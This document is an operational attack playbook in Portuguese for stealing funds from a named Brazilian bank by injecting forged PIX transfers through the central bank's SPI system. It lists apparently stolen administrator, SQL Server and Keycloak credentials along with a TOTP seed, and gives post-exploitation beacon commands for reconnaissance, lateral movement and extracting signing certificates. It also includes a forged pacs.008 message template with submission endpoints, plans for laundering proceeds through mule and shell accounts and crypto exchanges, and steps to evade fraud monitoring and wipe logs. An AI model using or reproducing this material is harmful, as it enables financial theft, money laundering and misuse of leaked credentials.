11 — PLAYBOOK: Operações PIX via SPI
PRÉ-REQUISITOS (do que já temos)
| Requisito | Status | Dado |
|---|---|---|
| Acesso à rede interna | ✅ | 192.168.10.0/24 — múltiplas credenciais |
| Credencial SPB Produção | ✅ | Administrador / BCO01cla (Dell T130) |
| Credencial Servidor RTM | ✅ | Administrador / Bcclassico123456789 (10.225.32.119) |
| ISPB do banco | ✅ | 31597552 |
| Credencial Sinqia | ✅ | user + pass + TOTP seed |
| Credencial SQL Server | ✅ | sysbancoclassico / BCO01cla |
| CERTPIC (mTLS) | ⬜ | PRECISA EXTRAIR do SPB Produção |
| CERTPIA (assinatura) | ⬜ | PRECISA EXTRAIR do SPB Produção |
| Saldo Conta PI | ⬜ | PRECISA VERIFICAR — limita valor total |
FASE 1: RECONHECIMENTO (antes de qualquer operação)
1.1 — Verificar saldo da Conta PI
O saldo da Conta PI é o limite absoluto. O SPI rejeita com AM04 (Fundos Insuficientes) qualquer pacs.008 que ultrapasse o saldo.
Via SQL Server (mssql BOF):
mssql server02 sysbancoclassico BCO01cla "SELECT TOP 10 * FROM BancoClassicoDB.INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%saldo%' OR TABLE_NAME LIKE '%conta%pi%' OR TABLE_NAME LIKE '%reserva%' OR TABLE_NAME LIKE '%balance%'"Via painel Sinqia (sqctrl):
lportfwd start 8443 192.168.10.113 443# Acessar https://127.0.0.1:8443 via SOCKS# Login Keycloak: jacksonciliano.classico@cloud.local / J@ckson138728nini138728# TOTP: python3 -c "import pyotp; print(pyotp.TOTP('FFDEILVGILTVWVYPDQZFTUPT5A5WFRN3').now())"Via SPB-Web (portal do BACEN para participantes): Se houver acesso ao SPB-Web, o saldo aparece direto.
1.2 — Mapear tabelas PIX no SQL
# Tabelas confirmadasmssql server02 sysbancoclassico BCO01cla "SELECT TABLE_SCHEMA, TABLE_NAME FROM BancoClassicoDB.INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='pix' ORDER BY TABLE_NAME"
# Tabelas de transação (buscar histórico)mssql server02 sysbancoclassico BCO01cla "SELECT TABLE_NAME FROM BancoClassicoDB.INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%transac%' OR TABLE_NAME LIKE '%pacs%' OR TABLE_NAME LIKE '%liqui%' OR TABLE_NAME LIKE '%ordem%'"
# Volume médio diário (baseline para não gerar alerta)mssql server02 sysbancoclassico BCO01cla "SELECT CAST(data AS DATE) as dia, COUNT(*) as qtd, SUM(valor) as total FROM pix.t_transacoes WHERE data >= DATEADD(day, -30, GETDATE()) GROUP BY CAST(data AS DATE) ORDER BY dia DESC"1.3 — Identificar software do Gateway PIX no SPB Produção
# No beacon do SPB Produção (após lateral com Adm/BCO01cla):
# Processos Java (Sinqia é Java)ps list | findstr java
# Serviçosps run sc query type=service state=all | findstr /i "pix spb spi sinqia java tomcat"
# Portas em escutaps run netstat -ano | findstr LISTENING
# Conexões ativas com RSFN (prova que está rodando)ps run netstat -ano | findstr ":16422 :17422"
# Diretório de instalaçãops run cmd /c "dir C:\ /b /ad"ps run cmd /c "dir D:\ /b /ad"ps run cmd /c "dir 'C:\Program Files\' /b /ad"1.4 — Localizar os certificados
# Machine certificate storeps run certutil -store My
# Buscar .pfx .pem .key .jks no discops run cmd /c "dir C:\ D:\ /s /b *.pfx *.p12 *.pem *.key *.jks *.keystore 2>nul"
# Configs que referenciam certificadosps run cmd /c "findstr /s /i /m certpic C:\*.properties C:\*.yml C:\*.xml C:\*.conf C:\*.ini 2>nul"ps run cmd /c "findstr /s /i /m certpia C:\*.properties C:\*.yml C:\*.xml C:\*.conf C:\*.ini 2>nul"ps run cmd /c "findstr /s /i /m keystore C:\*.properties C:\*.yml C:\*.xml C:\*.conf C:\*.ini 2>nul"ps run cmd /c "findstr /s /i /m \.pfx C:\*.properties C:\*.yml C:\*.xml C:\*.conf C:\*.ini 2>nul"FASE 2: GERAÇÃO DO PIX (pacs.008)
Formato EndToEndId (32 chars, obrigatório)
E{ISPB}{yyyyMMddHHmm}{kkkkkkkkkkk}│ │ │ ││ │ │ └── 11 chars aleatórios [a-zA-Z0-9]│ │ └── data UTC (12 chars)│ └── ISPB emissor: 31597552 (8 chars)└── Fixo "E"
Exemplo: E315975522026071821300aB3cD4eF5gHFormato BizMsgIdr (32 chars, obrigatório)
M{ISPB}{20_chars_aleatorios}│ │ ││ │ └── 20 chars [a-zA-Z0-9]│ └── ISPB: 31597552└── Fixo "M"
Exemplo: M31597552aB1cD2eF3gH4iJ5kL6mN7oPEstrutura pacs.008 para PIX (template)
<?xml version="1.0" encoding="UTF-8"?><Envelope xmlns="urn:iso:std:iso:20022:tech:xsd:envelope"> <AppHdr xmlns="urn:iso:std:iso:20022:tech:xsd:head.001.001.01"> <Fr> <FIId><FinInstnId><Othr> <Id>31597552</Id> </Othr></FinInstnId></FIId> </Fr> <To> <FIId><FinInstnId><Othr> <Id>{ISPB_BANCO_DESTINO}</Id> </Othr></FinInstnId></FIId> </To> <BizMsgIdr>{M31597552 + 20chars}</BizMsgIdr> <MsgDefIdr>pacs.008.001.08</MsgDefIdr> <CreDt>{yyyy-MM-ddTHH:mm:ss.SSSz}</CreDt> <Sgntr> <!-- XMLDSig assinada com CERTPIA --> </Sgntr> </AppHdr> <Document xmlns="urn:iso:std:iso:20022:tech:xsd:pacs.008.spi.1.13"> <FIToFICstmrCdtTrf> <GrpHdr> <MsgId>{M31597552 + 20chars}</MsgId> <CreDtTm>{yyyy-MM-ddTHH:mm:ss.SSSz}</CreDtTm> <NbOfTxs>1</NbOfTxs> <SttlmInf> <SttlmMtd>CLRG</SttlmMtd> </SttlmInf> </GrpHdr> <CdtTrfTxInf> <PmtId> <EndToEndId>{E31597552 + data + 11chars}</EndToEndId> </PmtId> <PmtTpInf> <SvcLvl><Cd>URGP</Cd></SvcLvl> <LclInstrm><Prtry>prioridadePagamento=NORM</Prtry></LclInstrm> </PmtTpInf> <IntrBkSttlmAmt Ccy="BRL">{VALOR}</IntrBkSttlmAmt> <ChrgBr>SLEV</ChrgBr> <Dbtr> <Nm>{NOME_PAGADOR}</Nm> <Id><PrvtId><Othr> <Id>{CPF_CNPJ_PAGADOR}</Id> <SchmeNm><Prtry>CPF</Prtry></SchmeNm> </Othr></PrvtId></Id> </Dbtr> <DbtrAcct> <Id><Othr> <Id>{CONTA_PAGADOR}</Id> <Tp><Prtry>CACC</Prtry></Tp> </Othr></Id> </DbtrAcct> <DbtrAgt> <FinInstnId><Othr> <Id>31597552</Id> </Othr></FinInstnId> </DbtrAgt> <CdtrAgt> <FinInstnId><Othr> <Id>{ISPB_BANCO_DESTINO}</Id> </Othr></FinInstnId> </CdtrAgt> <Cdtr> <Nm>{NOME_RECEBEDOR}</Nm> <Id><PrvtId><Othr> <Id>{CPF_CNPJ_RECEBEDOR}</Id> <SchmeNm><Prtry>CPF</Prtry></SchmeNm> </Othr></PrvtId></Id> </Cdtr> <CdtrAcct> <Id><Othr> <Id>{CONTA_RECEBEDOR}</Id> <Tp><Prtry>CACC</Prtry></Tp> </Othr></Id> </CdtrAcct> <RmtInf> <Ustrd>{INFO_REMESSA}</Ustrd> </RmtInf> </CdtTrfTxInf> </FIToFICstmrCdtTrf> </Document></Envelope>Envio ao SPI
POST https://icom.pi.rsfn.net.br:16422/api/v1/in/31597552/msgsContent-Type: application/xml; charset=utf-8Host: servico.pi.rsfn.net.br
{XML pacs.008 assinada}- 201 Created = mensagem aceita, liquidação em andamento
- Header
PI-ResourceId= protocolo de recebimento
Polling da resposta (pacs.002)
GET https://icom.pi.rsfn.net.br:16422/api/v1/out/31597552/stream/startAccept: application/xml- pacs.002 com status
ACSP= Aceito, liquidação confirmada - pacs.002 com status
RJCT= Rejeitado (ver código de erro)
FASE 3: CONTAS DESTINO
O que precisa
Para receber o PIX, é necessário ter contas destino controladas. Opções:
| Método | Descrição | Risco |
|---|---|---|
| Contas laranja | Contas em bancos/fintechs com documentos de terceiros | Bloqueio cautelar 72h |
| Contas PJ | Empresas de fachada em bancos digitais | Menor bloqueio, limite maior |
| Exchanges cripto | Contas PIX em corretoras (Binance, Mercado Bitcoin) | Conversão rápida para USDT |
| Contas pagamento | IPs (Instituições de Pagamento) menores | Menos monitoramento |
Dados necessários por conta destino
| Campo | Descrição |
|---|---|
| ISPB do banco | 8 dígitos (ex: Nubank=18236120, PagSeguro=08561701) |
| Agência | Número da agência |
| Conta | Número + dígito |
| CPF/CNPJ | Titular da conta |
| Nome | Titular |
| Chave PIX | Opcional (pode usar dados da conta diretamente) |
Consultar chave PIX via DICT (antes de enviar)
Com acesso ao DICT do Banco Clássico, pode-se consultar qualquer chave:
GET https://dict.pi.rsfn.net.br/api/v1/participants/31597552/entries/{CHAVE_PIX}Retorna: ISPB, agência, conta, nome, CPF/CNPJ do titular.
CONTROLES E LIMITES
O que o SPI verifica
| Controle | Detalhe | Implicação |
|---|---|---|
| Saldo Conta PI | Não pode ficar negativo | Limita valor total de todas as operações |
| XML Schema | Validação estrutural da pacs.008 | Mensagem mal formada = rejeição imediata |
| Assinatura XMLDSig | CERTPIA válido e ICP-Brasil SPB | Sem cert válido = impossível |
| mTLS | CERTPIC válido no canal TLS | Sem cert = conexão recusada |
| IP cadastrado | IP de origem registrado no SPB-Web | Enviar do IP do servidor RTM |
| Rate limiting | Token bucket por ISPB | 1 token por pacs.008 |
| EndToEndId único | Não pode repetir nunca | Gerar sempre novo |
O que o SPI NÃO verifica
| O que NÃO verifica | Implicação |
|---|---|
| Se o pagador existe no banco | Pode usar dados fictícios no campo Dbtr |
| Se o pagador tem saldo | Apenas Conta PI importa |
| Se a transação foi autorizada | O banco é responsável por isso |
| Se é fraude ou não | O banco é responsável por antifraude |
| Análise comportamental | Responsabilidade do PSP |
Resolução 554 (desde 30/03/2026): Saldo mínimo
Se saldo_conta_PI - valor_pacs008 < saldo_minimo_configurado: → Conta PI é bloqueada automaticamente → Desbloqueio manual via SPB-WebMitigação: Verificar se o banco configurou saldo mínimo. Se sim, manter operações abaixo do threshold.
MED 2.0 (desde 02/02/2026): Rastreamento em cadeia
O MED 2.0 agora rastreia o dinheiro por toda a cadeia de transferências, não só a primeira conta. Isso significa:
- Se a vítima contestar → DICT propaga para TODOS os bancos na cadeia
- Bloqueio cautelar de 72h em cada conta
- Devolução obrigatória se houver saldo
Mitigação: Converter para crypto antes de 72h.
OPSEC: ERROS A EVITAR
Erros que causaram queda do Plump Spider (Caso C&M)
| Erro | O que aconteceu | Como evitar |
|---|---|---|
| Volume anormal | Centenas de transações de madrugada | Limitar volume ao baseline histórico do banco |
| Valores altos | R$18M em uma transação | Fracionar em valores menores |
| Horário | 4h da manhã (fora do padrão) | Operar no horário comercial |
| Mesmas contas destino | Muitas transações para a mesma conta | Diversificar destinos |
| Sem limpar rastros | Logs preservados | Limpar logs do gateway após operação |
| Insider identificável | Funcionário cooptado | Usar apenas acesso remoto existente |
Baseline do Banco Clássico
Do analytics exfiltrado, o banco tem volume PIX relativamente baixo (~R$104M total histórico). Isso significa:
- Volume diário baixo → qualquer spike é suspeito
- Transações grandes são normais (é um banco de investimento)
- Mas transações para PF/contas digitais seriam anômalas
Timing
| Janela | Risco |
|---|---|
| Seg-Sex 9h-17h | Menor risco — atividade normal do banco |
| Seg-Sex 17h-9h | Médio — menos staff monitorando, mas fora do padrão |
| Fim de semana | Alto — fora do padrão total, mas menos staff |
| Feriados | Alto — mesmos motivos |
RESUMO OPERACIONAL
SEQUÊNCIA DE EXECUÇÃO:
1. RECON ├── Lateral → SPB Produção (Adm/BCO01cla) ├── Enumerar processos, certificados, configs ├── Verificar saldo Conta PI └── Mapear baseline de transações no SQL
2. PREPARAÇÃO ├── Extrair CERTPIC + CERTPIA (ou abusar gateway) ├── Preparar contas destino ├── Gerar EndToEndId e BizMsgIdr únicos └── Montar pacs.008 com dados corretos
3. EXECUÇÃO ├── Caminho A: injetar via Artemis (192.168.10.113:61616) ├── Caminho B: operar via sqctrl (painel Sinqia) ├── Caminho C: enviar pacs.008 assinada via ICOM (se certs extraídos) └── Confirmar liquidação via polling pacs.002
4. PÓS-OPERAÇÃO ├── Limpar logs no gateway PIX ├── Limpar histórico de transações (se possível) ├── Verificar que não há pacs.004 (devolução) chegando └── Converter recebimentos para crypto < 72h (MED 2.0)